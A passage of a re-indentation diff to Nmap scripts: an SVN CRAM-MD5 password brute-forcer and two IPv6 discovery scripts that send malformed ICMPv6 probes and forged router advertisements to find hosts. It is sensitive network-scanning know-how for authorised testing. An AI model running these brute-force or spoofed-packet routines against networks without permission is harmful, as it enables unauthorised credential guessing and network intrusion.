+ connect = function(self)
+ local repo_url = ( "svn://%s/%s" ):format(self.host.ip, self.repo)
+ local status, msg
- self.socket = nmap.new_socket()
+ self.socket = nmap.new_socket()
- local result
- status, result = self.socket:connect(self.host.ip, self.port.number, "tcp")
- if( not(status) ) then
- return false, result
- end
+ local result
+ status, result = self.socket:connect(self.host.ip, self.port.number, "tcp")
+ if( not(status) ) then
+ return false, result
+ end
- status, msg = self.socket:receive_bytes(1)
- if ( not(status) or not( msg:match("^%( success") ) ) then
- return false, "Banner reports failure"
- end
+ status, msg = self.socket:receive_bytes(1)
+ if ( not(status) or not( msg:match("^%( success") ) ) then
+ return false, "Banner reports failure"
+ end
- msg = ("( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) "):format( #repo_url, repo_url, #self.svn_client, self.svn_client )
- status = self.socket:send( msg )
- if ( not(status) ) then
- return false, "Send failed"
- end
+ msg = ("( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) "):format( #repo_url, repo_url, #self.svn_client, self.svn_client )
+ status = self.socket:send( msg )
+ if ( not(status) ) then
+ return false, "Send failed"
+ end
- status, msg = self.socket:receive_bytes(1)
- if ( not(status) ) then
- return false, "Receive failed"
- end
+ status, msg = self.socket:receive_bytes(1)
+ if ( not(status) ) then
+ return false, "Receive failed"
+ end
- if ( msg:match("%( success") ) then
- local tmp = msg:match("%( success %( %( ([%S+%s*]-) %)")
- if ( not(tmp) ) then return false, "Failed to detect authentication" end
- tmp = stdnse.strsplit(" ", tmp)
- self.auth_mech = {}
- for _, v in pairs(tmp) do self.auth_mech[v] = true end
- elseif ( msg:match("%( failure") ) then
- return false
- end
+ if ( msg:match("%( success") ) then
+ local tmp = msg:match("%( success %( %( ([%S+%s*]-) %)")
+ if ( not(tmp) ) then return false, "Failed to detect authentication" end
+ tmp = stdnse.strsplit(" ", tmp)
+ self.auth_mech = {}
+ for _, v in pairs(tmp) do self.auth_mech[v] = true end
+ elseif ( msg:match("%( failure") ) then
+ return false
+ end
- return true
- end,
+ return true
+ end,
- --- Attempts to login to the SVN server
- --
- -- @param username string containing the login username
- -- @param password string containing the login password
- -- @return status, true on success, false on failure
- -- @return err string containing error message on failure
- login = function( self, username, password )
- local status, msg
- local challenge, digest
+ --- Attempts to login to the SVN server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return err string containing error message on failure
+ login = function( self, username, password )
+ local status, msg
+ local challenge, digest
- if ( self.auth_mech["CRAM-MD5"] ) then
- msg = "( CRAM-MD5 ( ) ) "
- status = self.socket:send( msg )
+ if ( self.auth_mech["CRAM-MD5"] ) then
+ msg = "( CRAM-MD5 ( ) ) "
+ status = self.socket:send( msg )
- status, msg = self.socket:receive_bytes(1)
- if ( not(status) ) then
- return false, "error"
- end
+ status, msg = self.socket:receive_bytes(1)
+ if ( not(status) ) then
+ return false, "error"
+ end
- challenge = msg:match("<.+>")
+ challenge = msg:match("<.+>")
- if ( not(challenge) ) then
- return false, "Failed to read challenge"
- end
+ if ( not(challenge) ) then
+ return false, "Failed to read challenge"
+ end
- digest = stdnse.tohex(openssl.hmac('md5', password, challenge))
- msg = ("%d:%s %s "):format(#username + 1 + #digest, username, digest)
- self.socket:send( msg )
+ digest = stdnse.tohex(openssl.hmac('md5', password, challenge))
+ msg = ("%d:%s %s "):format(#username + 1 + #digest, username, digest)
+ self.socket:send( msg )
- status, msg = self.socket:receive_bytes(1)
- if ( not(status) ) then
- return false, "error"
- end
+ status, msg = self.socket:receive_bytes(1)
+ if ( not(status) ) then
+ return false, "error"
+ end
- if ( msg:match("Username not found") ) then
- return false, "Username not found"
- elseif ( msg:match("success") ) then
- return true, "Authentication success"
- else
- return false, "Authentication failed"
- end
- else
- return false, "Unsupported auth-mechanism"
- end
+ if ( msg:match("Username not found") ) then
+ return false, "Username not found"
+ elseif ( msg:match("success") ) then
+ return true, "Authentication success"
+ else
+ return false, "Authentication failed"
+ end
+ else
+ return false, "Unsupported auth-mechanism"
+ end
- end,
+ end,
- --- Close the SVN connection
- --
- -- @return status true on success, false on failure
- close = function(self)
- return self.socket:close()
- end,
+ --- Close the SVN connection
+ --
+ -- @return status true on success, false on failure
+ close = function(self)
+ return self.socket:close()
+ end,
}
Driver =
{
- new = function(self, host, port, invalid_users )
- local o = {}
- setmetatable(o, self)
- self.__index = self
- o.host = host
- o.port = port
- o.repo = stdnse.get_script_args('svn-brute.repo')
- o.invalid_users = invalid_users
- return o
- end,
+ new = function(self, host, port, invalid_users )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.repo = stdnse.get_script_args('svn-brute.repo')
+ o.invalid_users = invalid_users
+ return o
+ end,
- connect = function( self )
- local status, msg
+ connect = function( self )
+ local status, msg
- self.svn = svn:new( self.host, self.port, self.repo )
- status, msg = self.svn:connect()
- if ( not(status) ) then
- local err = brute.Error:new( "Failed to connect to SVN server" )
- -- This might be temporary, set the retry flag
- err:setRetry( true )
- return false, err
- end
+ self.svn = svn:new( self.host, self.port, self.repo )
+ status, msg = self.svn:connect()
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to connect to SVN server" )
+ -- This might be temporary, set the retry flag
+ err:setRetry( true )
+ return false, err
+ end
- return true
- end,
+ return true
+ end,
- disconnect = function( self )
- self.svn:close()
- end,
+ disconnect = function( self )
+ self.svn:close()
+ end,
- --- Attempts to login to the SVN server
- --
- -- @param username string containing the login username
- -- @param password string containing the login password
- -- @return status, true on success, false on failure
- -- @return brute.Error object on failure
- -- brute.Account object on success
- login = function( self, username, password )
- local status, msg
+ --- Attempts to login to the SVN server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- brute.Account object on success
+ login = function( self, username, password )
+ local status, msg
- if ( self.invalid_users[username] ) then
- return false, brute.Error:new( "User is invalid" )
- end
+ if ( self.invalid_users[username] ) then
+ return false, brute.Error:new( "User is invalid" )
+ end
- status, msg = self.svn:login( username, password )
+ status, msg = self.svn:login( username, password )
- if ( not(status) and msg:match("Username not found") ) then
- self.invalid_users[username] = true
- return false, brute.Error:new("Username not found")
- elseif ( status and msg:match("success") ) then
- return true, brute.Account:new(username, password, creds.State.VALID)
- else
- return false, brute.Error:new( "Incorrect password" )
- end
- end,
+ if ( not(status) and msg:match("Username not found") ) then
+ self.invalid_users[username] = true
+ return false, brute.Error:new("Username not found")
+ elseif ( status and msg:match("success") ) then
+ return true, brute.Account:new(username, password, creds.State.VALID)
+ else
+ return false, brute.Error:new( "Incorrect password" )
+ end
+ end,
- --- Verifies whether the repository is valid
- --
- -- @return status, true on success, false on failure
- -- @return err string containing an error message on failure
- check = function( self )
- local svn = svn:new( self.host, self.port, self.repo )
- local status = svn:connect()
+ --- Verifies whether the repository is valid
+ --
+ -- @return status, true on success, false on failure
+ -- @return err string containing an error message on failure
+ check = function( self )
+ local svn = svn:new( self.host, self.port, self.repo )
+ local status = svn:connect()
- svn:close()
+ svn:close()
- if ( status ) then
- return true
- else
- return false, ("Failed to connect to SVN repository (%s)"):format(self.repo)
- end
- end,
+ if ( status ) then
+ return true
+ else
+ return false, ("Failed to connect to SVN repository (%s)"):format(self.repo)
+ end
+ end,
}
action = function(host, port)
- local status, accounts
+ local status, accounts
- local repo = stdnse.get_script_args('svn-brute.repo')
- local force = stdnse.get_script_args('svn-brute.force')
+ local repo = stdnse.get_script_args('svn-brute.repo')
+ local force = stdnse.get_script_args('svn-brute.force')
- if ( not(repo) ) then
- return "No repository specified (see svn-brute.repo)"
- end
+ if ( not(repo) ) then
+ return "No repository specified (see svn-brute.repo)"
+ end
- local svn = svn:new( host, port, repo )
- local status = svn:connect()
+ local svn = svn:new( host, port, repo )
+ local status = svn:connect()
- if ( status and svn.auth_mech["ANONYMOUS"] and not(force) ) then
- return " \n Anonymous SVN detected, no authentication needed"
- end
+ if ( status and svn.auth_mech["ANONYMOUS"] and not(force) ) then
+ return " \n Anonymous SVN detected, no authentication needed"
+ end
- if ( not(svn.auth_mech) or not( svn.auth_mech["CRAM-MD5"] ) ) then
- return " \n No supported authentication mechanisms detected"
- end
+ if ( not(svn.auth_mech) or not( svn.auth_mech["CRAM-MD5"] ) ) then
+ return " \n No supported authentication mechanisms detected"
+ end
- local invalid_users = {}
- local engine = brute.Engine:new(Driver, host, port, invalid_users)
- engine.options.script_name = SCRIPT_NAME
- status, accounts = engine:start()
- if( not(status) ) then
- return accounts
- end
+ local invalid_users = {}
+ local engine = brute.Engine:new(Driver, host, port, invalid_users)
+ engine.options.script_name = SCRIPT_NAME
+ status, accounts = engine:start()
+ if( not(status) ) then
+ return accounts
+ end
- return accounts
+ return accounts
end
diff --git a/scripts/targets-ipv6-multicast-invalid-dst.nse b/scripts/targets-ipv6-multicast-invalid-dst.nse
index 964f042ca..891083258 100644
--- a/scripts/targets-ipv6-multicast-invalid-dst.nse
+++ b/scripts/targets-ipv6-multicast-invalid-dst.nse
@@ -34,169 +34,169 @@ categories = {"discovery","broadcast"}
prerule = function()
- return nmap.is_privileged()
+ return nmap.is_privileged()
end
--- Build an IPv6 invalid extension header.
-- @param nxt_hdr integer that stands for next header's type
local function build_invalid_extension_header(nxt_hdr)
- -- RFC 2640, section 4.2 defines the TLV format of options headers.
- -- It is important that the first byte have 10 in the most significant
- -- bits; that instructs the receiver to send a Parameter Problem.
- -- Option type 0x80 is unallocated; see
- -- http://www.iana.org/assignments/ipv6-parameters/.
- local ex_invalid_opt = string.char(0x80,0x01,0x00,0x00,0x00,0x00)
- local ext_header =
- string.char(nxt_hdr) .. --next header
- string.char(0) .. -- length 8
- ex_invalid_opt
- return ext_header
+ -- RFC 2640, section 4.2 defines the TLV format of options headers.
+ -- It is important that the first byte have 10 in the most significant
+ -- bits; that instructs the receiver to send a Parameter Problem.
+ -- Option type 0x80 is unallocated; see
+ -- http://www.iana.org/assignments/ipv6-parameters/.
+ local ex_invalid_opt = string.char(0x80,0x01,0x00,0x00,0x00,0x00)
+ local ext_header =
+ string.char(nxt_hdr) .. --next header
+ string.char(0) .. -- length 8
+ ex_invalid_opt
+ return ext_header
end
local function get_interfaces()
- local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
- or nmap.get_interface()
+ local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ or nmap.get_interface()
- -- interfaces list (decide which interfaces to broadcast on)
- local interfaces = {}
- if interface_name then
- -- single interface defined
- local if_table = nmap.get_interface_info(interface_name)
- if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
- interfaces[#interfaces + 1] = if_table
- else
- stdnse.print_debug("Interface not supported or not properly configured.")
- end
- else
- for _, if_table in ipairs(nmap.list_interfaces()) do
- if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
- table.insert(interfaces, if_table)
- end
- end
- end
+ -- interfaces list (decide which interfaces to broadcast on)
+ local interfaces = {}
+ if interface_name then
+ -- single interface defined
+ local if_table = nmap.get_interface_info(interface_name)
+ if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
+ interfaces[#interfaces + 1] = if_table
+ else
+ stdnse.print_debug("Interface not supported or not properly configured.")
+ end
+ else
+ for _, if_table in ipairs(nmap.list_interfaces()) do
+ if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
+ table.insert(interfaces, if_table)
+ end
+ end
+ end
- return interfaces
+ return interfaces
end
local function single_interface_broadcast(if_nfo, results)
- stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
+ stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
- local condvar = nmap.condvar(results)
- local src_mac = if_nfo.mac
- local src_ip6 = packet.ip6tobin(if_nfo.address)
- local dst_mac = packet.mactobin("33:33:00:00:00:01")
- local dst_ip6 = packet.ip6tobin("ff02::1")
+ local condvar = nmap.condvar(results)
+ local src_mac = if_nfo.mac
+ local src_ip6 = packet.ip6tobin(if_nfo.address)
+ local dst_mac = packet.mactobin("33:33:00:00:00:01")
+ local dst_ip6 = packet.ip6tobin("ff02::1")
-----------------------------------------------------------------------------
---Multicast invalid destination exheader probe
+ ----------------------------------------------------------------------------
+ --Multicast invalid destination exheader probe
- local dnet = nmap.new_dnet()
- local pcap = nmap.new_socket()
+ local dnet = nmap.new_dnet()
+ local pcap = nmap.new_socket()
- local function catch ()
- dnet:ethernet_close()
- pcap:pcap_close()
+ local function catch ()
+ dnet:ethernet_close()
+ pcap:pcap_close()
+ end
+ local try = nmap.new_try(catch)
+
+ try(dnet:ethernet_open(if_nfo.device))
+ pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 4")
+
+ local probe = packet.Frame:new()
+ probe.mac_src = src_mac
+ probe.mac_dst = dst_mac
+ probe.ip_bin_src = src_ip6
+ probe.ip_bin_dst = dst_ip6
+
+ -- In addition to setting an invalid option in
+ -- build_invalid_extension_header, we set an unknown ICMPv6 type of
+ -- 254. (See http://www.iana.org/assignments/icmpv6-parameters for
+ -- allocations.) Mac OS X 10.6 appears to send a Parameter Problem
+ -- response only if both of these conditions are met. In this we differ
+ -- from the alive6 tool, which sends a proper echo request.
+ probe.icmpv6_type = 254
+ probe.icmpv6_code = 0
+ -- Add a non-empty payload too.
+ probe.icmpv6_payload = string.char(0x00, 0x00, 0x00, 0x00)
+ probe:build_icmpv6_header()
+
+ probe.exheader = build_invalid_extension_header(packet.IPPROTO_ICMPV6)
+ probe.ip6_nhdr = packet.IPPROTO_DSTOPTS
+
+ probe:build_ipv6_packet()
+ probe:build_ether_frame()
+
+ try(dnet:ethernet_send(probe.frame_buf))
+
+ pcap:set_timeout(1000)
+ local pcap_timeout_count = 0
+ local nse_timeout = 5
+ local start_time = nmap:clock()
+ local cur_time = nmap:clock()
+
+ local addrs = {}
+
+ repeat
+ local status, length, layer2, layer3 = pcap:pcap_receive()
+ cur_time = nmap:clock()
+ if not status then
+ pcap_timeout_count = pcap_timeout_count + 1
+ else
+ local l2reply = packet.Frame:new(layer2)
+ if l2reply.mac_dst == src_mac then
+ local reply = packet.Packet:new(layer3)
+ local target_str = reply.ip_src
+ if not results[target_str] then
+ if target.ALLOW_NEW_TARGETS then
+ target.add(target_str)
+ end
+ results[#results + 1] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
+ results[target_str] = true
+ end
+ end
end
- local try = nmap.new_try(catch)
+ until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
- try(dnet:ethernet_open(if_nfo.device))
- pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 4")
+ dnet:ethernet_close()
+ pcap:pcap_close()
- local probe = packet.Frame:new()
- probe.mac_src = src_mac
- probe.mac_dst = dst_mac
- probe.ip_bin_src = src_ip6
- probe.ip_bin_dst = dst_ip6
-
- -- In addition to setting an invalid option in
- -- build_invalid_extension_header, we set an unknown ICMPv6 type of
- -- 254. (See http://www.iana.org/assignments/icmpv6-parameters for
- -- allocations.) Mac OS X 10.6 appears to send a Parameter Problem
- -- response only if both of these conditions are met. In this we differ
- -- from the alive6 tool, which sends a proper echo request.
- probe.icmpv6_type = 254
- probe.icmpv6_code = 0
- -- Add a non-empty payload too.
- probe.icmpv6_payload = string.char(0x00, 0x00, 0x00, 0x00)
- probe:build_icmpv6_header()
-
- probe.exheader = build_invalid_extension_header(packet.IPPROTO_ICMPV6)
- probe.ip6_nhdr = packet.IPPROTO_DSTOPTS
-
- probe:build_ipv6_packet()
- probe:build_ether_frame()
-
- try(dnet:ethernet_send(probe.frame_buf))
-
- pcap:set_timeout(1000)
- local pcap_timeout_count = 0
- local nse_timeout = 5
- local start_time = nmap:clock()
- local cur_time = nmap:clock()
-
- local addrs = {}
-
- repeat
- local status, length, layer2, layer3 = pcap:pcap_receive()
- cur_time = nmap:clock()
- if not status then
- pcap_timeout_count = pcap_timeout_count + 1
- else
- local l2reply = packet.Frame:new(layer2)
- if l2reply.mac_dst == src_mac then
- local reply = packet.Packet:new(layer3)
- local target_str = reply.ip_src
- if not results[target_str] then
- if target.ALLOW_NEW_TARGETS then
- target.add(target_str)
- end
- results[#results + 1] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
- results[target_str] = true
- end
- end
- end
- until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
-
- dnet:ethernet_close()
- pcap:pcap_close()
-
- condvar("signal")
+ condvar("signal")
end
local function format_output(results)
- local output = tab.new()
+ local output = tab.new()
- for _, record in ipairs(results) do
- tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
- end
- if #results > 0 then
- output = { tab.dump(output) }
- if not target.ALLOW_NEW_TARGETS then
- output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
- end
- return stdnse.format_output(true, output)
- end
+ for _, record in ipairs(results) do
+ tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
+ end
+ if #results > 0 then
+ output = { tab.dump(output) }
+ if not target.ALLOW_NEW_TARGETS then
+ output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
+ end
+ return stdnse.format_output(true, output)
+ end
end
action = function()
- local threads = {}
- local results = {}
- local condvar = nmap.condvar(results)
+ local threads = {}
+ local results = {}
+ local condvar = nmap.condvar(results)
- for _, if_nfo in ipairs(get_interfaces()) do
- -- create a thread for each interface
- local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
- threads[co] = true
- end
+ for _, if_nfo in ipairs(get_interfaces()) do
+ -- create a thread for each interface
+ local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
+ threads[co] = true
+ end
- repeat
- for thread in pairs(threads) do
- if coroutine.status(thread) == "dead" then threads[thread] = nil end
- end
- if ( next(threads) ) then
- condvar "wait"
- end
- until next(threads) == nil
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
- return format_output(results)
+ return format_output(results)
end
diff --git a/scripts/targets-ipv6-multicast-slaac.nse b/scripts/targets-ipv6-multicast-slaac.nse
index 21b8f97d9..65cc23b23 100644
--- a/scripts/targets-ipv6-multicast-slaac.nse
+++ b/scripts/targets-ipv6-multicast-slaac.nse
@@ -48,28 +48,28 @@ categories = {"discovery","broadcast"}
prerule = function()
- return nmap.is_privileged()
+ return nmap.is_privileged()
end
local function get_identifier(ip6_addr)
- return string.sub(ip6_addr, 9, 16)
+ return string.sub(ip6_addr, 9, 16)
end
--- Get a Unique-local Address with random global ID.
-- @param local_scope The scope of the address, local or reserved.
-- @return A 16-byte string of IPv6 address, and the length of the prefix.
local function get_radom_ula_prefix(local_scope)
- local ula_prefix
- math.randomseed(os.time())
- local global_id = string.char(math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1)
+ local ula_prefix
+ math.randomseed(os.time())
+ local global_id = string.char(math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1)
- if local_scope then
- ula_prefix = packet.ip6tobin("fd00::")
- else
- ula_prefix = packet.ip6tobin("fc00::")
- end
- ula_prefix = string.sub(ula_prefix,1,1) .. global_id .. string.sub(ula_prefix,7,-1)
- return ula_prefix,64
+ if local_scope then
+ ula_prefix = packet.ip6tobin("fd00::")
+ else
+ ula_prefix = packet.ip6tobin("fc00::")
+ end
+ ula_prefix = string.sub(ula_prefix,1,1) .. global_id .. string.sub(ula_prefix,7,-1)
+ return ula_prefix,64
end
--- Build an ICMPv6 payload of Router Advertisement.
@@ -79,174 +79,174 @@ end
-- @param valid_time integer that represents the valid time of the prefix.
-- @param preferred_time integer that represents the preferred time of the prefix.
local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time)
- local ra_msg = string.char(0x0, --cur hop limit
- 0x08, --flags
- 0x00,0x00, --router lifetime
- 0x00,0x00,0x00,0x00, --reachable time
- 0x00,0x00,0x00,0x00) --retrans timer
- local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
- packet.set_u32("....",0,valid_time) ..
- packet.set_u32("....",0,preferred_time) ..
- string.char(0,0,0,0) .. --unknown
- prefix
- local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION,prefix_option_msg)
- local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR,mac_src)
- local icmpv6_payload = ra_msg .. icmpv6_prefix_option .. icmpv6_src_link_option
- return icmpv6_payload
+ local ra_msg = string.char(0x0, --cur hop limit
+ 0x08, --flags
+ 0x00,0x00, --router lifetime
+ 0x00,0x00,0x00,0x00, --reachable time
+ 0x00,0x00,0x00,0x00) --retrans timer
+ local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
+ packet.set_u32("....",0,valid_time) ..
+ packet.set_u32("....",0,preferred_time) ..
+ string.char(0,0,0,0) .. --unknown
+ prefix
+ local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION,prefix_option_msg)
+ local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR,mac_src)
+ local icmpv6_payload = ra_msg .. icmpv6_prefix_option .. icmpv6_src_link_option
+ return icmpv6_payload
end
local function get_interfaces()
- local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
- or nmap.get_interface()
+ local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ or nmap.get_interface()
- -- interfaces list (decide which interfaces to broadcast on)
- local interfaces = {}
- if interface_name then
- -- single interface defined
- local if_table = nmap.get_interface_info(interface_name)
- if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
- interfaces[#interfaces + 1] = if_table
- else
- stdnse.print_debug("Interface not supported or not properly configured.")
- end
- else
- for _, if_table in ipairs(nmap.list_interfaces()) do
- if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
- table.insert(interfaces, if_table)
- end
- end
- end
+ -- interfaces list (decide which interfaces to broadcast on)
+ local interfaces = {}
+ if interface_name then
+ -- single interface defined
+ local if_table = nmap.get_interface_info(interface_name)
+ if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
+ interfaces[#interfaces + 1] = if_table
+ else
+ stdnse.print_debug("Interface not supported or not properly configured.")
+ end
+ else
+ for _, if_table in ipairs(nmap.list_interfaces()) do
+ if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
+ table.insert(interfaces, if_table)
+ end
+ end
+ end
- return interfaces
+ return interfaces
end
local function single_interface_broadcast(if_nfo, results)
- stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
+ stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
- local condvar = nmap.condvar(results)
- local src_mac = if_nfo.mac
- local src_ip6 = packet.ip6tobin(if_nfo.address)
- local dst_mac = packet.mactobin("33:33:00:00:00:01")
- local dst_ip6 = packet.ip6tobin("ff02::1")
+ local condvar = nmap.condvar(results)
+ local src_mac = if_nfo.mac
+ local src_ip6 = packet.ip6tobin(if_nfo.address)
+ local dst_mac = packet.mactobin("33:33:00:00:00:01")
+ local dst_ip6 = packet.ip6tobin("ff02::1")
-----------------------------------------------------------------------------
---SLAAC-based host discovery probe
+ ----------------------------------------------------------------------------
+ --SLAAC-based host discovery probe
- local dnet = nmap.new_dnet()
- local pcap = nmap.new_socket()
+ local dnet = nmap.new_dnet()
+ local pcap = nmap.new_socket()
- local function catch ()
- dnet:ethernet_close()
- pcap:pcap_close()
+ local function catch ()
+ dnet:ethernet_close()
+ pcap:pcap_close()
+ end
+ local try = nmap.new_try(catch)
+
+ try(dnet:ethernet_open(if_nfo.device))
+ pcap:pcap_open(if_nfo.device, 128, true, "src ::0/128 and dst net ff02::1:0:0/96 and icmp6 and ip6[6:1] = 58 and ip6[40:1] = 135")
+
+ local actual_prefix = string.sub(src_ip6,1,8)
+ local ula_prefix, prefix_len = get_radom_ula_prefix()
+
+ -- preferred_lifetime <= valid_lifetime.
+ -- Nmap will get the whole IPv6 addresses of each host if the two parameters are both longer than 5 seconds.
+ -- Sometimes it makes sense to regard the several addresses of a host as different hosts, as the host's administrator may apply different firewall configurations on them.
+ local valid_lifetime = 6
+ local preferred_lifetime = 6
+
+ local probe = packet.Frame:new()
+
+ probe.ip_bin_src = packet.mac_to_lladdr(src_mac)
+ probe.ip_bin_dst = dst_ip6
+ probe.mac_src = src_mac
+ probe.mac_dst = packet.mactobin("33:33:00:00:00:01")
+
+ local icmpv6_payload = build_router_advert(src_mac,ula_prefix,prefix_len,valid_lifetime,preferred_lifetime)
+ probe:build_icmpv6_header(packet.ND_ROUTER_ADVERT, 0, icmpv6_payload)
+ probe:build_ipv6_packet()
+ probe:build_ether_frame()
+
+ try(dnet:ethernet_send(probe.frame_buf))
+
+ local expected_mac_dst_prefix = packet.mactobin("33:33:ff:00:00:00")
+ local expected_ip6_src = packet.ip6tobin("::")
+ local expected_ip6_dst_prefix = packet.ip6tobin("ff02::1:0:0")
+
+ pcap:set_timeout(1000)
+ local pcap_timeout_count = 0
+ local nse_timeout = 5
+ local start_time = nmap:clock()
+ local cur_time = nmap:clock()
+
+ repeat
+ local status, length, layer2, layer3 = pcap:pcap_receive()
+ cur_time = nmap:clock()
+ if not status then
+ pcap_timeout_count = pcap_timeout_count + 1
+ else
+ local l2reply = packet.Frame:new(layer2)
+ if string.sub(l2reply.mac_dst, 1, 3) == string.sub(expected_mac_dst_prefix, 1, 3) then
+ local reply = packet.Packet:new(layer3)
+ if reply.ip_bin_src == expected_ip6_src and
+ string.sub(expected_ip6_dst_prefix,1,12) == string.sub(reply.ip_bin_dst,1,12) then
+ local ula_target_addr_str = packet.toipv6(reply.ns_target)
+ local identifier = get_identifier(reply.ns_target)
+ --Filter out the reduplicative identifiers.
+ --A host will send several NS packets with the same interface identifier if it receives several RA packets with different prefix during the discovery phase.
+ local actual_addr_str = packet.toipv6(actual_prefix .. identifier)
+ if not results[actual_addr_str] then
+ if target.ALLOW_NEW_TARGETS then
+ target.add(actual_addr_str)
+ end
+ results[#results + 1] = { address = actual_addr_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
+ results[actual_addr_str] = true
+ end
+ end
+ end
end
- local try = nmap.new_try(catch)
+ until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
- try(dnet:ethernet_open(if_nfo.device))
- pcap:pcap_open(if_nfo.device, 128, true, "src ::0/128 and dst net ff02::1:0:0/96 and icmp6 and ip6[6:1] = 58 and ip6[40:1] = 135")
+ dnet:ethernet_close()
+ pcap:pcap_close()
- local actual_prefix = string.sub(src_ip6,1,8)
- local ula_prefix, prefix_len = get_radom_ula_prefix()
-
- -- preferred_lifetime <= valid_lifetime.
- -- Nmap will get the whole IPv6 addresses of each host if the two parameters are both longer than 5 seconds.
- -- Sometimes it makes sense to regard the several addresses of a host as different hosts, as the host's administrator may apply different firewall configurations on them.
- local valid_lifetime = 6
- local preferred_lifetime = 6
-
- local probe = packet.Frame:new()
-
- probe.ip_bin_src = packet.mac_to_lladdr(src_mac)
- probe.ip_bin_dst = dst_ip6
- probe.mac_src = src_mac
- probe.mac_dst = packet.mactobin("33:33:00:00:00:01")
-
- local icmpv6_payload = build_router_advert(src_mac,ula_prefix,prefix_len,valid_lifetime,preferred_lifetime)
- probe:build_icmpv6_header(packet.ND_ROUTER_ADVERT, 0, icmpv6_payload)
- probe:build_ipv6_packet()
- probe:build_ether_frame()
-
- try(dnet:ethernet_send(probe.frame_buf))
-
- local expected_mac_dst_prefix = packet.mactobin("33:33:ff:00:00:00")
- local expected_ip6_src = packet.ip6tobin("::")
- local expected_ip6_dst_prefix = packet.ip6tobin("ff02::1:0:0")
-
- pcap:set_timeout(1000)
- local pcap_timeout_count = 0
- local nse_timeout = 5
- local start_time = nmap:clock()
- local cur_time = nmap:clock()
-
- repeat
- local status, length, layer2, layer3 = pcap:pcap_receive()
- cur_time = nmap:clock()
- if not status then
- pcap_timeout_count = pcap_timeout_count + 1
- else
- local l2reply = packet.Frame:new(layer2)
- if string.sub(l2reply.mac_dst, 1, 3) == string.sub(expected_mac_dst_prefix, 1, 3) then
- local reply = packet.Packet:new(layer3)
- if reply.ip_bin_src == expected_ip6_src and
- string.sub(expected_ip6_dst_prefix,1,12) == string.sub(reply.ip_bin_dst,1,12) then
- local ula_target_addr_str = packet.toipv6(reply.ns_target)
- local identifier = get_identifier(reply.ns_target)
- --Filter out the reduplicative identifiers.
- --A host will send several NS packets with the same interface identifier if it receives several RA packets with different prefix during the discovery phase.
- local actual_addr_str = packet.toipv6(actual_prefix .. identifier)
- if not results[actual_addr_str] then
- if target.ALLOW_NEW_TARGETS then
- target.add(actual_addr_str)
- end
- results[#results + 1] = { address = actual_addr_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
- results[actual_addr_str] = true
- end
- end
- end
- end
- until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
-
- dnet:ethernet_close()
- pcap:pcap_close()
-
- condvar("signal")
+ condvar("signal")
end
local function format_output(results)
- local output = tab.new()
+ local output = tab.new()
- for _, record in ipairs(results) do
- tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
- end
- if #results > 0 then
- output = { tab.dump(output) }
- if not target.ALLOW_NEW_TARGETS then
